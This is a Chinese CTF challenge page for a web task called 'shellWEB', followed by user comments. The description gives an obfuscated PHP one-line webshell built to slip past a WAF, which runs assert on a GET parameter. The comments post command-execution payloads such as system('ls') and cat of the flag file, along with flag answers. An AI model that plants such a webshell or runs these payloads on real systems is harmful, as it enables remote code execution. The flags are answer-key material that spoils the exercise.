shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 6070
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
whitenul 8月前
举报

flag{9fd11e2660d3ad1f535e9f1de957424a}

回复 0
InfoSec 9月前
举报

这里的?s=print_r(scandir('./'))是一个GET请求参数，通过GET方式传递给服务器。当服务器执行上述代码时，会调用PHP函数scandir()来列出当前目录下的所有文件和文件夹，并通过print_r()函数将这些目录内容打印输出到页面上。

回复 1
17795946336 9月前
举报

flag{287b3bef4cb9712a82e858a1ad413de8}

回复 0
zh2815 9月前
举报

:114.67.175.224:10266/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)

回复 1
soyotion 9月前
举报

想多了，我以为要上传过狗的一句话木马，原来是上传好了

回复 0
GS 10月前
举报

这题我喜欢

回复 0
yun20231227 11月前
举报

?s=system('ls') 用这个命令，就可以看到flag文件

回复 0
1580155hsg 10月前
举报

?s=system('cat flaga15808abee46a1d5.txt')

回复 2
向云端bugku 1年前
举报

https://blog.csdn.net/weixin_47450099/article/details/139245987?spm=1001.2014.3001.5502 详解

回复 3
菜蔡蔡 1年前
举报

启动不起来场景是什么原因啊啊啊

回复 0
不懂就问 1年前
举报

学习参考：https://surpsec.blog.csdn.net/article/details/136709908

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(8)

解题动态

testda 攻破了该题 1小时前
Cyyyyg 攻破了该题 3小时前
goeasy 攻破了该题 5小时前
867736371 攻破了该题 6小时前
废柴小白 攻破了该题 6小时前
19893123836 攻破了该题 6小时前
baza 攻破了该题 17小时前
qwerfsafafa 攻破了该题 23小时前
Hehe0619 攻破了该题 1天前
ahco 攻破了该题 1天前
17335918325 攻破了该题 1天前
17365797718 攻破了该题 2天前
afanda 攻破了该题 2天前
zhouzehui57 攻破了该题 2天前
小白ctf 攻破了该题 3天前
rufeii 攻破了该题 3天前
qwerasdz 攻破了该题 3天前
awuawu 攻破了该题 3天前
dwx1583 攻破了该题 4天前
人闲桂花落 攻破了该题 4天前
问题反馈